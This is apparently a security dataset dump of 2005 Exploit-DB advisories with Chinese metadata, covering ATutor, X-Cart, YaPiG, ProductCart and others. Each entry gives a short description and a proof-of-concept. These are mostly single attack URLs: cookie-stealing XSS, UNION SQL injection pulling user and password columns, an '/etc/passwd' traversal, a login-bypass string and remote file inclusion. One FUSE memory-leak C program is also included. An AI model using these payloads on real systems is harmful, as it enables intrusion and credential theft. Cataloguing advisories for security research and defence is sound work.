QLWD/code_shield huggingface dataset:
标题: ATutor 1.4.3 - 'content.php?cid' Cross-Site Scripting EDB-ID: 25828 CVE: 2005-2044 类型: WEBAPPS 平台: PHP 发布日期: 2005-06-16 漏洞利用脚本: source: https://www.securityfocus.com/bid/13972/info
  
ATutor is prone to multiple cross-site scripting vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input.
  
An attacker may leverage any of these issues to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may facilitate the theft of cookie-based authentication credentials as well as other attacks. 

http://www.example.com/atutor/content.php?cid=323[XSS-CODE] URL: https://www.exploit-db.com/exploits/25828
标题: McGallery 1.0/1.1 - Lang Argument File Disclosure EDB-ID: 25823 CVE: 2005-1998 类型: WEBAPPS 平台: PHP 发布日期: 2005-06-15 漏洞利用脚本: source: https://www.securityfocus.com/bid/13963/info

McGallery is prone to a file disclosure vulnerability.

This could let remote attackers access files on the computer in the context of the Web server process. 

http://example.com/mcgallery/admin.php?lang=../../../../../../etc/passwd URL: https://www.exploit-db.com/exploits/25823
标题: FlatNuke 2.5.x - 'help.php' Multiple Cross-Site Scripting Vulnerabilities EDB-ID: 25800 CVE: 2005-1895 类型: WEBAPPS 平台: PHP 发布日期: 2005-06-07 漏洞利用脚本: source: https://www.securityfocus.com/bid/13882/info
 
Multiple input validation vulnerabilities reportedly affect FlatNuke. These issues are due to a failure of the application to properly sanitize user-supplied input prior to using it in application-critical actions such as generating Web content or loading scripts.
 
An attacker may leverage these issues to execute arbitrary PHP code, execute client-side script code in the browsers of unsuspecting users through cross-site scripting attacks, and gain access to sensitive information. Other attacks are also possible. 

http://www.example.com/forum/help.php?border=%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E
http://www.example.com/forum/help.php?back=%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E URL: https://www.exploit-db.com/exploits/25800
标题: Invision Power Services Invision Gallery 1.0.1/1.3 - SQL Injection EDB-ID: 25806 CVE: 2005-1948 类型: WEBAPPS 平台: PHP 发布日期: 2005-06-09 漏洞利用脚本: source: https://www.securityfocus.com/bid/13907/info

Invision Gallery is affected by an SQL injection vulnerability.

This issue is due to a failure in the application to properly sanitize user-supplied input to the 'index.php' script before using it in an SQL query.

Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation.

Invision Gallery 1.3.0 and prior are vulnerable. 

http://www.example.com/index.php?act=module&module=gallery&cmd=editcomment&comment=
-99%20UNION%20SELECT%200,0,0,0,0,0,0,0,0,name,0,0,0%20FROM%20ibf_members%20
WHERE%201/*&img=1 URL: https://www.exploit-db.com/exploits/25806
标题: Loki Download Manager 2.0 - 'default.asp' SQL Injection EDB-ID: 25804 CVE: 2005-1943 类型: WEBAPPS 平台: ASP 发布日期: 2005-06-08 漏洞利用脚本: source: https://www.securityfocus.com/bid/13898/info

Loki Download Manager is prone to an SQL injection vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input to the 'default.asp' script before using it in an SQL query.

Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation. 

The following proof of concept is available:
user: anyuser
pass: 'or''=' URL: https://www.exploit-db.com/exploits/25804
标题: Loki Download Manager 2.0 - 'Catinfo.asp' SQL Injection EDB-ID: 25805 CVE: 2005-1943 类型: WEBAPPS 平台: ASP 发布日期: 2005-06-08 漏洞利用脚本: source: https://www.securityfocus.com/bid/13900/info

Loki Download Manager is prone to an SQL injection vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input to the 'catinfo.asp' script before using it in an SQL query.

Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation. 

http://www.example.com/downmancv/catinfo.asp?cat=' union select null,null,user,null,null,null,null,null,pass,null,null,null,null,null FROM tblAdm' URL: https://www.exploit-db.com/exploits/25805
标题: Popper Webmail 1.41 - 'ChildWindow.Inc.php' Remote File Inclusion EDB-ID: 25788 CVE: 2005-1870 类型: WEBAPPS 平台: PHP 发布日期: 2005-06-03 漏洞利用脚本: source: https://www.securityfocus.com/bid/13851/info

Popper is affected by a remote file include vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary server-side script code on an affected computer with the privileges of the Web server process. This may facilitate unauthorized access. 

http://www.example.com/popper/childwindow.inc.php?form=http://www.example.com/test URL: https://www.exploit-db.com/exploits/25788
标题: FlatNuke 2.5.x - 'index.php?where' Full Path Disclosure EDB-ID: 25799 CVE: 2005-1893 类型: WEBAPPS 平台: PHP 发布日期: 2005-06-07 漏洞利用脚本: source: https://www.securityfocus.com/bid/13882/info

Multiple input validation vulnerabilities reportedly affect FlatNuke. These issues are due to a failure of the application to properly sanitize user-supplied input prior to using it in application-critical actions such as generating Web content or loading scripts.

An attacker may leverage these issues to execute arbitrary PHP code, execute client-side script code in the browsers of unsuspecting users through cross-site scripting attacks, and gain access to sensitive information. Other attacks are also possible. 

http://www.example.com/flatnuke/index.php?mod=none_Search&find=1&where=null URL: https://www.exploit-db.com/exploits/25799
标题: Early Impact ProductCart 2.6/2.7 - 'editCategories.asp?lid' SQL Injection EDB-ID: 25796 CVE: 2005-1967 类型: WEBAPPS 平台: ASP 发布日期: 2005-06-06 漏洞利用脚本: source: https://www.securityfocus.com/bid/13881/info
 
ProductCart is prone to multiple SQL injection vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input before using it in SQL queries.
 
Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation. 

http://www.example.com/pc/pcadmin/editCategories.asp?nav=&lid=[id cat][sql injection] URL: https://www.exploit-db.com/exploits/25796
标题: Early Impact ProductCart 2.6/2.7 - 'OptionFieldsEdit.asp?idccr' SQL Injection EDB-ID: 25798 CVE: 2005-1967 类型: WEBAPPS 平台: ASP 发布日期: 2005-06-06 漏洞利用脚本: source: https://www.securityfocus.com/bid/13881/info
   
ProductCart is prone to multiple SQL injection vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input before using it in SQL queries.
   
Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation. 

http://www.example.com/pc/pcadmin/OptionFieldsEdit.asp?idc=1&id=[id]&idccr=[id][sqlInjection] URL: https://www.exploit-db.com/exploits/25798
标题: YaPiG 0.9x - 'view.php' Cross-Site Scripting EDB-ID: 25793 CVE: 2005-1886 类型: WEBAPPS 平台: PHP 发布日期: 2005-06-06 漏洞利用脚本: source: https://www.securityfocus.com/bid/13875/info

YaPiG is prone to a cross-site scripting vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input.

An attacker may leverage this issue to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may facilitate the theft of cookie-based authentication credentials as well as other attacks.

This issue is reported to affect YaPiG versions 0.92b, 0.93u and 0.94u; earlier versions may also be affected. 

http://www.example.com/view.php?gid=1&phid=%22%3E%3Cscript%3Ealert(document.cookie);%3C/script%3E URL: https://www.exploit-db.com/exploits/25793
标题: YaPiG 0.9x - 'upload.php' Directory Traversal EDB-ID: 25794 CVE: 2005-1884 类型: WEBAPPS 平台: PHP 发布日期: 2005-06-06 漏洞利用脚本: source: https://www.securityfocus.com/bid/13877/info

YaPiG is prone to a directory traversal vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input.

An authorized user can add and delete arbitrary directories outside of the gallery directory by supplying directory traversal strings '../' to the vulnerable parameter. Exploitation of this vulnerability could lead to a loss of integrity and possibly loss of availability.

This issue is reported to affect YaPiG versions 0.92b, 0.93u and 0.94u; earlier versions may also be affected. 

Arbitrary Directory Removal:
http://www.example.com/upload.php?step=rmdir&dir=../folder

Arbitrary Directory Creation:
http://www.example.com/upload.php?step=mkdir&dir=../folder URL: https://www.exploit-db.com/exploits/25794
标题: YaPiG 0.9x - Local/Remote File Inclusion EDB-ID: 25792 CVE: 2005-1881 类型: WEBAPPS 平台: PHP 发布日期: 2005-06-06 漏洞利用脚本: source: https://www.securityfocus.com/bid/13874/info

YaPiG is affected by remote and local file include vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input.

An attacker may leverage these issues to execute arbitrary server-side script code on an affected computer with the privileges of the Web server process. This may facilitate unauthorized access.

This issue is reported to affect YaPiG versions 0.92b, 0.93u and 0.94u; earlier versions may also be affected. 

Version 0.92b: http://www.example.com/global.php?BASE_DIR=/local/path/to/global-gen.php
Version 0.93u/ 0.94u: http://www.example.com/last_gallery.php?YAPIG_PATH=http://www.example.com/ URL: https://www.exploit-db.com/exploits/25792
标题: Early Impact ProductCart 2.6/2.7 - 'modCustomCardPaymentOpt.asp?idc' SQL Injection EDB-ID: 25797 CVE: 2005-1967 类型: WEBAPPS 平台: ASP 发布日期: 2005-06-06 漏洞利用脚本: source: https://www.securityfocus.com/bid/13881/info
  
ProductCart is prone to multiple SQL injection vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input before using it in SQL queries.
  
Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation. 

http://www.example.com/pc/pcadmin/modCustomCardPaymentOpt.asp?mode=Edit&idc=[page][sqlinjection]&id=[id]&gwCode=[code] URL: https://www.exploit-db.com/exploits/25797
标题: FUSE 2.2/2.3 - Local Information Disclosure EDB-ID: 25789 CVE: 2005-1858 类型: LOCAL 平台: LINUX 发布日期: 2005-06-06 漏洞利用脚本: // source: https://www.securityfocus.com/bid/13857/info

FUSE is susceptible to a local information disclosure vulnerability. This issue is due to a failure of the kernel module to properly clear used memory prior to its reuse.

This vulnerability allows malicious local users to gain access to potentially sensitive kernel memory, aiding them in further attacks.

FUSE versions 2.2, 2.2.1, 2.3-pre*, and 2.3-rc1, running on Linux kernel versions 2.4, through 2.6 are affected by this issue. 

/*
    memfs.c: Proof of concept exploit for FUSE < 2.3.0
    
    memfs.c is based on fuse/example/hello.c from Miklos Szeredi
    
    Details: http://www.sven-tantau.de/public_files/fuse/fuse_20050603.txt
    
    Build: Copy memfs.c over hello.c and run make in the fuse base directory
    
    Usage: Create a mountpoint ; ./hello /mnt/getmem/ ; cat /mnt/getmem/memfs ;
           If you see random bytes you are vulnerable.
           
    Sven Tantau - http://www.sven-tantau.de/ - 01.06.2005
    
    
    
    FUSE: Filesystem in Userspace
    Copyright (C) 2001-2005  Miklos Szeredi <miklos@szeredi.hu>

    This program can be distributed under the terms of the GNU GPL.
*/

#include <fuse.h>
#include <stdio.h>
#include <string.h>
#include <errno.h>
#include <fcntl.h>

static const char *memfs_str = "";
static const char *memfs_path = "/memfs";

static int memfs_getattr(const char *path, struct stat *stbuf)
{
    int res = 0;

    memset(stbuf, 0, sizeof(struct stat));
    if(strcmp(path, "/") == 0) {
        stbuf->st_mode = S_IFDIR | 0755;
        stbuf->st_nlink = 2;
    }
    else if(strcmp(path, memfs_path) == 0) {
        stbuf->st_mode = S_IFREG | 0444;
        stbuf->st_nlink = 1;
        stbuf->st_size = 4223;
    }
    else
        res = -ENOENT;

    return res;
}

static int memfs_getdir(const char *path, fuse_dirh_t h, fuse_dirfil_t filler)
{
    if(strcmp(path, "/") != 0)
        return -ENOENT;

    filler(h, ".", 0, 0);
    filler(h, "..", 0, 0);
    filler(h, memfs_path + 1, 0, 0);

    return 0;
}

static int memfs_open(const char *path, struct fuse_file_info *fi)
{
    if(strcmp(path, memfs_path) != 0)
        return -ENOENT;

    if((fi->flags & 3) != O_RDONLY)
        return -EACCES;

    return 0;
}

static int memfs_read(const char *path, char *buf, size_t size, off_t offset,
                      struct fuse_file_info *fi)
{
    size_t len;
    (void) fi;
    if(strcmp(path, memfs_path) != 0)
        return -ENOENT;

    len = strlen(memfs_str);
    if (offset < len) {
        if (offset + size > len)
            size = len - offset;
        memcpy(buf, memfs_str + offset, size);
    } else
        size = 0;

    return size;
}

static struct fuse_operations memfs_oper = {
    .getattr = memfs_getattr,
    .getdir = memfs_getdir,
    .open = memfs_open,
    .read = memfs_read,
};

int main(int argc, char *argv[])
{
    return fuse_main(argc, argv, &memfs_oper);
} URL: https://www.exploit-db.com/exploits/25789
标题: Early Impact ProductCart 2.6/2.7 - 'viewPrd.asp?idcategory' SQL Injection EDB-ID: 25795 CVE: 2005-1967 类型: WEBAPPS 平台: ASP 发布日期: 2005-06-06 漏洞利用脚本: source: https://www.securityfocus.com/bid/13881/info

ProductCart is prone to multiple SQL injection vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input before using it in SQL queries.

Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation. 

http://www.example.com/pc/viewPrd.asp?idcategory=[catid][SQL INJECTION]&idproduct=[prod id] URL: https://www.exploit-db.com/exploits/25795
标题: Rakkarsoft RakNet 2.33 - Remote Denial of Service EDB-ID: 25791 CVE: 2005-1899 类型: DOS 平台: MULTIPLE 发布日期: 2005-06-06 漏洞利用脚本: source: https://www.securityfocus.com/bid/13862/info

Rakkarsoft RakNet is affected by a remote denial of service vulnerability.

Reportedly, the vulnerability presents itself when the library handles an empty UDP packet.

RakNet 2.33 and prior versions released before May 30, 2005 are affected by this vulnerability. Various games employing the affected library may be vulnerable as well. 

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/25791.zip URL: https://www.exploit-db.com/exploits/25791
标题: Qualiteam X-Cart 4.0.8 - 'giftcert.php' Multiple SQL Injections EDB-ID: 25774 CVE: 2005-1822 类型: WEBAPPS 平台: PHP 发布日期: 2005-05-30 漏洞利用脚本: source: https://www.securityfocus.com/bid/13817/info
               
X-Cart is prone to SQL injection and cross-site scripting vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input.
               
These vulnerabilities could permit remote attackers to pass malicious input to database queries, resulting in modification of query logic or other attacks. Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation. An attacker may also steal cookie-based authentication credentials and carry out other attacks.
               
X-Cart 4.0.8 is reportedly vulnerable. Other versions may be affected as well.

http://www.example.com/giftcert.php?gcid='[SQL-inj]
http://www.example.com/giftcert.php?gcindex='[SQL-inj] URL: https://www.exploit-db.com/exploits/25774
标题: Qualiteam X-Cart 4.0.8 - 'search.php?mode' SQL Injection EDB-ID: 25773 CVE: 2005-1822 类型: WEBAPPS 平台: PHP 发布日期: 2005-05-30 漏洞利用脚本: source: https://www.securityfocus.com/bid/13817/info
              
X-Cart is prone to SQL injection and cross-site scripting vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input.
              
These vulnerabilities could permit remote attackers to pass malicious input to database queries, resulting in modification of query logic or other attacks. Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation. An attacker may also steal cookie-based authentication credentials and carry out other attacks.
              
X-Cart 4.0.8 is reportedly vulnerable. Other versions may be affected as well.

http://www.example.com/search.php?mode='[SQL-inj] URL: https://www.exploit-db.com/exploits/25773
标题: PowerDownload 3.0.2/3.0.3 - IncDir Remote File Inclusion EDB-ID: 25777 CVE: 2005-1821 类型: WEBAPPS 平台: PHP 发布日期: 2005-05-31 漏洞利用脚本: source: https://www.securityfocus.com/bid/13822/info

PowerDownload is prone to a remote file include vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary server-side script code on an affected computer with the privileges of the Web server process. This may facilitate unauthorized access. 

http://www.example.com/download/downloads.php?release_id=650&incdir=http://www.example.com/ URL: https://www.exploit-db.com/exploits/25777
标题: Qualiteam X-Cart 4.0.8 - 'error_message.php?id' SQL Injection EDB-ID: 25769 CVE: 2005-1822 类型: WEBAPPS 平台: PHP 发布日期: 2005-05-30 漏洞利用脚本: source: https://www.securityfocus.com/bid/13817/info
          
X-Cart is prone to SQL injection and cross-site scripting vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input.
          
These vulnerabilities could permit remote attackers to pass malicious input to database queries, resulting in modification of query logic or other attacks. Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation. An attacker may also steal cookie-based authentication credentials and carry out other attacks.
          
X-Cart 4.0.8 is reportedly vulnerable. Other versions may be affected as well.

http://www.example.com/error_message.php?access_denied&id='[SQL-inj] URL: https://www.exploit-db.com/exploits/25769
标题: Qualiteam X-Cart 4.0.8 - 'register.php?mode' SQL Injection EDB-ID: 25772 CVE: 2005-1822 类型: WEBAPPS 平台: PHP 发布日期: 2005-05-30 漏洞利用脚本: source: https://www.securityfocus.com/bid/13817/info
             
X-Cart is prone to SQL injection and cross-site scripting vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input.
             
These vulnerabilities could permit remote attackers to pass malicious input to database queries, resulting in modification of query logic or other attacks. Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation. An attacker may also steal cookie-based authentication credentials and carry out other attacks.
             
X-Cart 4.0.8 is reportedly vulnerable. Other versions may be affected as well.

http://www.example.com/register.php?mode='[SQL-inj] URL: https://www.exploit-db.com/exploits/25772
标题: Qualiteam X-Cart 4.0.8 - 'help.php?section' SQL Injection EDB-ID: 25770 CVE: 2005-1822 类型: WEBAPPS 平台: PHP 发布日期: 2005-05-30 漏洞利用脚本: source: https://www.securityfocus.com/bid/13817/info
           
X-Cart is prone to SQL injection and cross-site scripting vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input.
           
These vulnerabilities could permit remote attackers to pass malicious input to database queries, resulting in modification of query logic or other attacks. Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation. An attacker may also steal cookie-based authentication credentials and carry out other attacks.
           
X-Cart 4.0.8 is reportedly vulnerable. Other versions may be affected as well.

http://www.example.com/help.php?section='[SQL-inj] URL: https://www.exploit-db.com/exploits/25770
标题: Qualiteam X-Cart 4.0.8 - 'orders.php?mode' SQL Injection EDB-ID: 25771 CVE: 2005-1822 类型: WEBAPPS 平台: PHP 发布日期: 2005-05-30 漏洞利用脚本: source: https://www.securityfocus.com/bid/13817/info
            
X-Cart is prone to SQL injection and cross-site scripting vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input.
            
These vulnerabilities could permit remote attackers to pass malicious input to database queries, resulting in modification of query logic or other attacks. Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation. An attacker may also steal cookie-based authentication credentials and carry out other attacks.
            
X-Cart 4.0.8 is reportedly vulnerable. Other versions may be affected as well.

http://www.example.com/orders.php?mode='[SQL-inj] URL: https://www.exploit-db.com/exploits/25771
标题: Qualiteam X-Cart 4.0.8 - 'product.php' Multiple SQL Injections EDB-ID: 25768 CVE: 2005-1822 类型: WEBAPPS 平台: PHP 发布日期: 2005-05-30 漏洞利用脚本: source: https://www.securityfocus.com/bid/13817/info
         
X-Cart is prone to SQL injection and cross-site scripting vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input.
         
These vulnerabilities could permit remote attackers to pass malicious input to database queries, resulting in modification of query logic or other attacks. Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation. An attacker may also steal cookie-based authentication credentials and carry out other attacks.
         
X-Cart 4.0.8 is reportedly vulnerable. Other versions may be affected as well.

http://www.example.com/product.php?productid='[SQL-inj]
http://www.example.com/product.php?mode='[SQL-inj] URL: https://www.exploit-db.com/exploits/25768